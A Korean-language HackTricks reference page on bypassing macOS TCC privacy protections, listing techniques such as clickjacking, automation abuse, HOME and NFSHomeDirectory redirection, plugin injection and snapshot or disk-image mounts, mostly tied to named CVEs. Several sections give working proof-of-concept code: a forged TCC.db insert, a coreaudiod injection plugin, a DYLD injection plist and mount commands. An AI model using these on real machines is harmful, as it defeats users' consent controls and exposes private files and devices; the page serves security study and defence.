macOS TCC Bypasses

htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹 배우기!

HackTricks를 지원하는 다른 방법:

기능별

쓰기 우회

이것은 우회가 아니라 TCC가 작동하는 방식입니다: 쓰기를 보호하지 않습니다. 터미널이 사용자의 데스크톱을 읽을 수 없더라도 여전히 쓸 수 있습니다:

username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

**확장 속성 com.apple.macl**은 새 파일에 추가되어 생성자 앱이 해당 파일을 읽을 수 있도록 합니다.

TCC ClickJacking

사용자가 알아채지 못하고 TCC 프롬프트를 수락하도록 창을 TCC 프롬프트 위에 놓을 수 있습니다. TCC-ClickJacking에서 PoC를 찾을 수 있습니다.

임의의 이름으로 TCC 요청

공격자는 **Info.plist**에 임의의 이름(예: Finder, Google Chrome...)을 가진 앱을 생성하고 일부 TCC 보호 위치에 액세스를 요청하도록 만들 수 있습니다. 사용자는 정품 애플리케이션이 이 액세스를 요청하는 것으로 생각할 것입니다. 게다가, 정품 앱을 도크에서 제거하고 가짜 앱을 넣어놓을 수 있으므로 사용자가 가짜 앱을 클릭하면(동일한 아이콘을 사용할 수 있음) 정품 앱을 호출하여 TCC 권한을 요청하고 악성 코드를 실행시킬 수 있어 사용자는 정품 앱이 액세스를 요청한 것으로 믿게 됩니다.

자세한 정보 및 PoC:

pagemacOS Privilege Escalation

SSH 우회

기본적으로 SSH를 통한 액세스는 "전체 디스크 액세스"를 가졌습니다. 이를 비활성화하려면 목록에는 있지만 비활성화된 상태여야 합니다(목록에서 제거하면 해당 권한이 제거되지 않습니다):

여기에서 일부 악성 코드가 이 보호를 우회한 예시를 찾을 수 있습니다:

지금은 SSH를 활성화하려면 전체 디스크 액세스가 필요합니다

확장자 처리 - CVE-2022-26767

파일에는 특정 애플리케이션이 읽을 수 있는 권한을 부여하기 위해 com.apple.macl 속성이 부여됩니다. 이 속성은 파일을 앱 위로 드래그&드롭하거나 사용자가 파일을 더블 클릭하여 기본 애플리케이션으로 열 때 설정됩니다.

따라서 사용자는 모든 확장자를 처리할 악성 앱을 등록하고 런치 서비스를 호출하여 모든 파일을 열 수 있도록 만들 수 있습니다(따라서 악성 파일이 읽을 수 있도록 권한이 부여됩니다).

iCloud

com.apple.private.icloud-account-access 권한을 통해 com.apple.iCloudHelper XPC 서비스와 통신할 수 있으며 이를 통해 iCloud 토큰을 제공할 수 있습니다.

iMovieGarageband에는 이 권한과 다른 권한이 부여되어 있습니다.

해당 권한으로부터 iCloud 토큰을 얻는 exploit에 대한 자세한 정보는 다음 토크를 확인하십시오: #OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula

kTCCServiceAppleEvents / 자동화

kTCCServiceAppleEvents 권한이 있는 앱은 다른 앱을 제어할 수 있습니다. 이는 다른 앱에 부여된 권한을 남용할 수 있음을 의미합니다.

Apple 스크립트에 대한 자세한 정보는 다음을 확인하십시오:

pagemacOS Apple Scripts

예를 들어, 앱이 iTerm에 대한 자동화 권한을 가지고 있다면, 이 예시에서 **Terminal**이 iTerm에 대한 액세스 권한을 가지고 있습니다:

iTerm을 통해

FDA가 없는 Terminal이 FDA를 가진 iTerm을 호출하고 사용하여 작업을 수행할 수 있습니다:

iterm.script
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
osascript iterm.script

Finder를 통해

또는 앱이 Finder를 통해 액세스하는 경우, 다음과 같은 스크립트가 있을 수 있습니다:

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

앱 동작에 따른

CVE-2020–9934 - TCC

tccd 데몬HOME env 변수를 사용하여 다음 위치에서 TCC 사용자 데이터베이스에 액세스합니다: $HOME/Library/Application Support/com.apple.TCC/TCC.db

이 스택 오버플로우 게시물에 따르면, TCC 데몬은 현재 사용자 도메인 내에서 launchd를 통해 실행되므로 전달되는 모든 환경 변수를 제어할 수 있습니다. 따라서 공격자는 $HOME 환경 변수를 **launchctl**에서 제어된 디렉토리를 가리키도록 설정하고, TCC 데몬을 재시작한 다음 TCC 데이터베이스를 직접 수정하여 최종 사용자에게 알림 없이 모든 TCC 권한을 부여할 수 있습니다. PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - 노트

노트는 TCC로 보호된 위치에 액세스할 수 있었지만 노트를 만들 때는 보호되지 않은 위치에 생성됩니다. 따라서, 노트에 보호된 파일을 복사하도록 요청하고 (즉, 보호되지 않은 위치에) 해당 파일에 액세스할 수 있습니다:

CVE-2021-30782 - 이동

라이브러리 libsecurity_translocate를 사용하는 /usr/libexec/lsd 바이너리는 com.apple.private.nullfs_allow 허용권을 가지고 있어 nullfs 마운트를 만들고 com.apple.private.tcc.allow 허용권을 가지고 **kTCCServiceSystemPolicyAllFiles**로 모든 파일에 액세스할 수 있었습니다.

"Library"에 격리 속성을 추가하고 com.apple.security.translocation XPC 서비스를 호출한 다음 Library를 **$TMPDIR/AppTranslocation/d/d/Library**로 매핑하여 Library 내의 모든 문서에 액세스할 수 있었습니다.

CVE-2023-38571 - 음악 및 TV

**음악**에는 흥미로운 기능이 있습니다: 실행 중일 때 **~/Music/Music/Media.localized/Automatically Add to Music.localized**에 드롭된 파일을 사용자의 "미디어 라이브러리"로 가져옵니다. 더욱이, 다음과 같은 것을 호출합니다: **rename(a, b);** 여기서 ab`는:

  • a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"

  • b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3

rename(a, b); 동작은 경쟁 조건에 취약하며, Automatically Add to Music.localized 폴더에 가짜 TCC.db 파일을 넣고 새 폴더(b)가 생성될 때 파일을 복사하고 삭제하고 ~/Library/Application Support/com.apple.TCC/로 지정할 수 있습니다.

SQLITE_SQLLOG_DIR - CVE-2023-32422

**SQLITE_SQLLOG_DIR="경로/폴더"**를 설정하면 모든 열린 db가 해당 경로로 복사됩니다. 이 CVE에서는 이 제어가 남용되어 TCC 데이터베이스를 가진 프로세스에 의해 열릴 SQLite 데이터베이스쓰기되고, **SQLITE_SQLLOG_DIR**을 파일 이름에 심볼릭 링크로 남용하여 해당 데이터베이스가 열릴 때 사용자 TCC.db가 열린 것으로 덮어씌워집니다. 자세한 정보여기의 설명서 여기의 강연에서 확인할 수 있습니다.

SQLITE_AUTO_TRACE

환경 변수 **SQLITE_AUTO_TRACE**가 설정되면 라이브러리 **libsqlite3.dylib**가 모든 SQL 쿼리를 기록하기 시작합니다. 많은 애플리케이션이 이 라이브러리를 사용했기 때문에 모든 SQLite 쿼리를 기록할 수 있었습니다.

여러 Apple 애플리케이션은 TCC로 보호된 정보에 액세스하기 위해 이 라이브러리를 사용했습니다.

# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407

이 환경 변수는 Metal 프레임워크에서 사용됩니다. 이는 주로 Music과 같은 여러 프로그램에 의존하며 FDA를 가지고 있습니다.

다음을 설정합니다: MTL_DUMP_PIPELINES_TO_JSON_FILE="경로/이름". 경로가 유효한 디렉토리인 경우, 버그가 트리거되고 fs_usage를 사용하여 프로그램에서 무슨 일이 일어나고 있는지 볼 수 있습니다:

  • open()이 호출되어 경로/.dat.nosyncXXXX.XXXXXX (X는 랜덤)라는 파일이 열립니다.

  • 하나 이상의 write()가 파일에 내용을 씁니다 (이를 제어할 수 없습니다).

  • 경로/.dat.nosyncXXXX.XXXXXXrename()을 통해 경로/이름으로 이름이 바뀝니다.

이것은 임시 파일 쓰기이며, **보안이 되지 않은 rename(old, new)**로 이어집니다.

이것은 이전과 새 경로를 별도로 해석해야 하기 때문에 안전하지 않습니다. 이는 시간이 걸리고 Race Condition에 취약할 수 있습니다. 자세한 정보는 xnu 함수 renameat_internal()을 확인하십시오.

따라서, 특권 프로세스가 제어하는 폴더에서 이름을 바꾸는 경우, RCE를 성공시키고 특권 앱이 만든 파일을 열어 FD를 저장할 수 있습니다.

이름 바꾸기가 제어하는 폴더에 접근하면서 소스 파일을 수정하거나 FD가 있는 경우, 대상 파일(또는 폴더)을 심볼릭 링크로 지정하여 원하는 시점에 쓸 수 있습니다.

이것이 CVE에서의 공격이었습니다: 예를 들어 사용자의 TCC.db를 덮어쓰려면:

  • /Users/hacker/ourlink/Users/hacker/Library/Application Support/com.apple.TCC/로 지정합니다.

  • 디렉토리 /Users/hacker/tmp/를 생성합니다.

  • MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db로 설정합니다.

  • 이 환경 변수로 Music을 실행하여 버그를 트리거합니다.

  • /Users/hacker/tmp/.dat.nosyncXXXX.XXXXXXopen()을 감지합니다 (X는 랜덤).

  • 여기서 우리는 또한 이 파일을 쓰기 위해 open()하고 파일 디스크립터를 보유합니다.

  • /Users/hacker/tmp/Users/hacker/ourlink루프 안에서 원자적으로 교체합니다.

  • 이것을 우리가 성공할 가능성을 극대화하기 위해 반복합니다. 그러나 경합 창이 매우 짧기 때문에 경합에 지는 것은 무시해도 됩니다.

  • 잠시 기다립니다.

  • 행운이 따르는지 테스트합니다.

  • 그렇지 않으면 처음부터 다시 실행합니다.

더 많은 정보: https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html

이제 환경 변수 MTL_DUMP_PIPELINES_TO_JSON_FILE을 사용하려고 하면 앱이 실행되지 않습니다.

Apple 원격 데스크톱

루트로이드이면이 서비스를 활성화할 수 있으며 ARD 에이전트는 전체 디스크 액세스를 갖게 되어 사용자가 새 TCC 사용자 데이터베이스를 복사하도록 남용할 수 있습니다.

NFSHomeDirectory에 의해

TCC는 사용자의 홈 폴더에있는 데이터베이스를 사용하여 사용자의 $HOME/Library/Application Support/com.apple.TCC/TCC.db에서 사용자에게 특정 리소스에 대한 액세스를 제어합니다. 따라서 사용자가 $HOME 환경 변수를 다른 폴더를 가리키도록 재시작하면 사용자는 /Library/Application Support/com.apple.TCC/TCC.db에 새 TCC 데이터베이스를 생성하고 TCC에게 어떤 앱에 대한 TCC 권한을 부여할지 속일 수 있습니다.

Apple은 NFSHomeDirectory 속성 내에 저장된 설정을 사용하여 $HOME을 결정합니다. 따라서 이 값을 수정할 권한이있는 애플리케이션을 침해하면 (kTCCServiceSystemPolicySysAdminFiles), TCC 우회를 위해이 옵션을 무기화할 수 있습니다.

CVE-2021-30970 - Powerdir

첫 번째 POCdsexportdsimport를 사용하여 사용자의 HOME 폴더를 수정합니다.

  1. 대상 앱에 대한 csreq 블롭을 가져옵니다.

  2. 필요한 액세스 및 csreq 블롭이 포함 된 가짜 TCC.db 파일을 심어놓습니다.

  3. dsexport를 사용하여 사용자의 디렉토리 서비스 항목을 내보냅니다.

  4. 사용자의 홈 디렉토리를 변경하기 위해 디렉토리 서비스 항목을 수정합니다.

  5. dsimport를 사용하여 수정된 디렉토리 서비스 항목을 가져옵니다.

  6. 사용자의 _tccd_를 중지하고 프로세스를 다시 시작합니다.

두 번째 POC는 **/usr/libexec/configd**를 사용하여 com.apple.private.tcc.allowkTCCServiceSystemPolicySysAdminFiles 값을 가지고 있었습니다. **configd**를 -t 옵션으로 실행할 수 있었으므로 공격자는 사용자의 홈 디렉토리를 변경할 수 있었습니다. 따라서 악용자는 사용자의 홈 디렉토리를 변경하는 configd 코드 주입으로 사용자의 홈 디렉토리를 변경하는 dsexportdsimport 방법을 대체할 수 있었습니다.

자세한 정보는 원본 보고서를 확인하십시오.

프로세스 주입에 의해

프로세스 내부에 코드를 주입하고 해당 TCC 권한을 남용하는 다양한 기술이 있습니다:

pagemacOS Process Abuse

또한 TCC 우회를 위해 발견된 가장 일반적인 프로세스 주입은 **플러그인 (라이브러리 로드)**를 통해 이루어집니다. 플러그인은 일반적으로 라이브러리 또는 plist 형식의 추가 코드이며, 주 애플리케이션에서 로드되어 해당 컨텍스트에서 실행됩니다. 따라서 주 애플리케이션이 TCC 제한 파일에 액세스 권한이있는 경우 (부여된 권한 또는 엔터티먼트를 통해), 사용자 지정 코드도 해당 권한을 갖게 됩니다.

CVE-2020-27937 - Directory Utility

애플리케이션 /System/Library/CoreServices/Applications/Directory Utility.appkTCCServiceSystemPolicySysAdminFiles 권한을 가지고 있으며 .daplug 확장자를 가진 플러그인을 로드하고 강화된 런타임이 없었습니다.

이 CVE를 무기화하기 위해 **NFSHomeDirectory**가 변경되었습니다 (이전 권한을 악용)하여 TCC 우회를 위해 사용자의 TCC 데이터베이스를 인수할 수 있습니다.

자세한 정보는 원본 보고서를 확인하십시오.

CVE-2020-29621 - Coreaudiod

바이너리 **/usr/sbin/coreaudiod**는 엔타이틀먼트 com.apple.security.cs.disable-library-validationcom.apple.private.tcc.manager를 가졌습니다. 첫 번째는 코드 인젝션을 허용하고 두 번째는 TCC를 관리할 수 있는 권한을 부여했습니다.

이 바이너리는 /Library/Audio/Plug-Ins/HAL 폴더에서 서드 파티 플러그인을 로드할 수 있었기 때문에, 다음 PoC를 사용하여 플러그인을 로드하고 TCC 권한을 남용할 수 있었습니다:

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

더 많은 정보는 원본 보고서를 확인하십시오.

장치 추상화 레이어 (DAL) 플러그인

**kTCCServiceCamera**를 사용하는 앱(Core Media I/O를 통해 카메라 스트림을 열기 위한 시스템 앱)은 /Library/CoreMediaIO/Plug-Ins/DAL에 위치한 이 플러그인들을 프로세스 내에서 로드합니다(SIP 제한 없음).

일반 생성자가 포함된 라이브러리를 거기에 저장하는 것만으로도 코드 주입이 가능합니다.

이에 취약한 여러 Apple 앱들이 있었습니다.

Firefox

Firefox 앱은 com.apple.security.cs.disable-library-validationcom.apple.security.cs.allow-dyld-environment-variables 엔터티먼트를 가지고 있었습니다:

codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

CVE-2020-10006

바이너리 /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl에는 com.apple.private.tcc.allowcom.apple.security.get-task-allow 허용 권한이 있었으며, 이를 통해 프로세스 내부에 코드를 삽입하고 TCC 권한을 사용할 수 있었습니다.

CVE-2023-26818 - 텔레그램

텔레그램은 com.apple.security.cs.allow-dyld-environment-variablescom.apple.security.cs.disable-library-validation 허용 권한이 있었기 때문에 카메라로 녹화하는 등의 권한에 액세스할 수 있었습니다. 해당 페이로드를 여기서 찾을 수 있습니다.

환경 변수를 사용하여 라이브러리를 로드하는 방법에 주목하십시오. 사용자 정의 plist를 만들어 이 라이브러리를 삽입하고 **launchctl**를 사용하여 실행했습니다:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist

열린 호출을 통해

**open**을 sandboxed 상태에서도 호출하는 것이 가능합니다.

터미널 스크립트

기술 인원이 사용하는 컴퓨터에서는 터미널에 **전체 디스크 액세스 (FDA)**를 부여하는 것이 꽤 일반적입니다. 그리고 .terminal 스크립트를 호출하는 것이 가능합니다.

.terminal 스크립트는 다음과 같은 명령을 CommandString 키에서 실행하는 이러한 plist 파일입니다:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

어플리케이션은 /tmp와 같은 위치에 터미널 스크립트를 작성하고 다음과 같이 실행할 수 있습니다:

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

마운트를 통해

CVE-2020-9771 - mount_apfs TCC 우회 및 권한 상승

어떤 사용자 (심지어 권한이 없는 사용자도)는 타임 머신 스냅샷을 생성하고 마운트하여 해당 스냅샷의 모든 파일에 액세스할 수 있습니다. 사용된 응용 프로그램(예: Terminal)이 전체 디스크 액세스(FDA) 액세스(kTCCServiceSystemPolicyAllfiles)를 가져야 하며, 이 권한은 관리자에 의해 부여되어야 합니다.

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

보다 자세한 설명은 원본 보고서에서 찾을 수 있습니다.

CVE-2021-1784 및 CVE-2021-30808 - TCC 파일을 덮어쓰기

TCC DB 파일이 보호되어 있더라도 새로운 TCC.db 파일을 덮어쓸 수 있었습니다:

# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

원본 설명서에서 전체 악용을 확인하세요(https://theevilbit.github.io/posts/cve-2021-30808/).

asr

도구 **/usr/sbin/asr**는 전체 디스크를 복사하고 TCC 보호를 우회하여 다른 위치에 장착할 수 있었습니다.

위치 서비스

**/var/db/locationd/clients.plist**에는 위치 서비스에 액세스할 수 있는 클라이언트를 나타내는 세 번째 TCC 데이터베이스가 있습니다. 폴더 /var/db/locationd/는 DMG 장착을 방지하지 않았기 때문에 우리 자신의 plist를 장착할 수 있었습니다.

시작 프로그램에 의해

pagemacOS Auto Start

grep에 의해

여러 경우에 파일에는 이메일, 전화번호, 메시지 등과 같은 민감한 정보가 비보호된 위치에 저장될 수 있습니다 (이는 Apple의 취약점으로 간주됩니다).

합성 클릭

이 방법은 더 이상 작동하지 않지만, 과거에는 작동했습니다:

CoreGraphics 이벤트를 사용한 다른 방법:

참고

Last updated